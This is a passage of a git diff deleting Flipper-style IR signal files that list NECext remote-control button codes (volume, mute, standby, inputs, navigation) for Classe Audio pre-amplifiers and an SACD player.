REG3_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: REG3_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: LINE3_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: LINE3_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: REG2_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: REG2_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: LINE2_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: LINE2_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: REG1_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: REG1_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: LINE1_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: LINE1_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: TAPE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: TAPE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: BAL1_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: BAL1_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir deleted file mode 100644 index a1c50f0bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_MON_TG_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: TAPE_MON_TG_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: LINE1_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: LINE1_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: LINE2_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: LINE2_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: LINE3_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: LINE3_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: BALANCED_1_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: BALANCED_1_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: INPUT_UP_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_UP_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_DOWN_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: INPUT_DOWN_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: STDBY_TOGGLE_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: STDBY_TOGGLE_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: INFO_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: INFO_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: PHONO_GAINE_TG_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: PHONO_GAINE_TG_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: BALANCE_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: BALANCE_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: MENU_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 54 00 00 00 -# -name: MENU_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 54 00 00 00 -# -name: HOME_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: HOME_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: NAVIGATE_UP_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 58 00 00 00 -# -name: NAVIGATE_UP_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 58 00 00 00 -# -name: NAVIGATE_DOWN_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 59 00 00 00 -# -name: NAVIGATE_DOWN_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 59 00 00 00 -# -name: NAVIGATE_LEFT_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5A 00 00 00 -# -name: NAVIGATE_LEFT_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5A 00 00 00 -# -name: NAVIGATE_RIGHT_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5B 00 00 00 -# -name: NAVIGATE_RIGHT_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5B 00 00 00 -# -name: ENTER_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5C 00 00 00 -# -name: ENTER_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5C 00 00 00 -# -name: OPERATE_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 96 00 00 00 -# -name: OPERATE_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 96 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 97 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 97 00 00 00 -# -name: TAPE_MON_ON_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 9A 00 00 00 -# -name: TAPE_MON_ON_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 9A 00 00 00 -# -name: TAPE_MON_OFF_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 9B 00 00 00 -# -name: TAPE_MON_OFF_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 9B 00 00 00 -# -name: OUTPUT1_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F0 00 00 00 -# -name: OUTPUT2_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F1 00 00 00 -# -name: OUTPUT3_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F2 00 00 00 -# -name: OUTPUT1_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F4 00 00 00 -# -name: OUTPUT1_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F5 00 00 00 -# -name: OUTPUT2_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F8 00 00 00 -# -name: OUTPUT3_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: F9 00 00 00 -# -name: OUTPUT3_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir deleted file mode 100644 index 9b7142929..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_UP_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_UP_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_DOWN_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 11 00 00 00 -# -name: F1_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 38 00 00 00 -# -name: F1_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 38 00 00 00 -# -name: F2_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 39 00 00 00 -# -name: F2_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 39 00 00 00 -# -name: F3_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 86 00 00 00 -# -name: F3_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 86 00 00 00 -# -name: F4_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 87 00 00 00 -# -name: F4_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 87 00 00 00 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 98 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 98 00 00 00 -# -name: UNMUTE_T0 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 99 00 00 00 -# -name: UNMUTE_T1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 99 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir deleted file mode 100644 index 17009b58f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: AUD1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: AUD2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: AUD3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: MODE_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 22 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 23 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 25 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 25 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 26 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 26 00 00 00 -# -name: AV1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 30 00 00 00 -# -name: AV2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 31 00 00 00 -# -name: AV3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: AV4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 33 00 00 00 -# -name: MODE_< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 38 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 39 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3C 00 00 00 -# -name: COMPR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir deleted file mode 100644 index 2f39ffcbf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A_MUTE_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: A_MUTE_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: A_DISPLAY_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: A_DISPLAY_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: A_DISP_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: A_DISP_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: A_VOL+_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: A_VOL+_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: A_VOL-_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: A_VOL-_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: A_STANDBY_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: A_STANDBY_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: A_STDBY_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: A_STDBY_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: A_ENTER_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: A_ENTER_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: A_MENU_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: A_MENU_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: A_UP_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: A_UP_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: A_BAL_R_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: A_BAL_R_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: A_RIGHT_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: A_RIGHT_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: A_BAL_L_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: A_BAL_L_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: A_LEFT_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: A_LEFT_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: A_DOWN_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: A_DOWN_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: A_LINE4_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: A_LINE4_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: A_REG4_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: A_REG4_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: A_LINE3_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: A_LINE3_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: A_REG3_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: A_REG3_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: A_LINE2_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: A_LINE2_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: A_REG2_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: A_REG2_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: A_LINE1_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: A_LINE1_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: A_REG1_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: A_REG1_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: A_SRS_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: A_SRS_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: A_TAPE_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: A_TAPE_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: A_BAL2_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: A_BAL2_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: A_BAL1_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: A_BAL1_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: A_GAIN_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: A_GAIN_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: A_PHASE_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: A_PHASE_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: A_BAL3_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2A 00 00 00 -# -name: A_BAL3_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2A 00 00 00 -# -name: A_OUTPUT_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2B 00 00 00 -# -name: A_OUTPUT_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir deleted file mode 100644 index d03e9301b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: DISP_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: DISP_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: STDBY_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: STDBY_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: ENTER_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: ENTER_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: MENU_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: MENU_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: UP_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: UP_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: BAL_R_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BAL_R_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: RIGHT_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: RIGHT_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BALANCE_R_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BALANCE_R_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BAL_L_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BAL_L_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: LEFT_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: LEFT_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BALANCE_L_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BALANCE_L_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: DOWN_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: DOWN_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: LINE4_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: LINE4_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: REG4_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: REG4_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: LINE3_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: LINE3_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: REG3_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: REG3_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: LINE2_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: LINE2_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: REG2_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: REG2_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: LINE1_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: LINE1_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: REG1_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: REG1_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: SRS_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: SRS_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: TAPE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: TAPE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: BAL2_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: BAL2_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: BAL1_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: BAL1_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: GAIN_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: GAIN_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: PHASE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: PHASE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: BAL3_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: BAL3_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: OUTPUT_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: OUTPUT_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir deleted file mode 100644 index 6f7a7b238..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 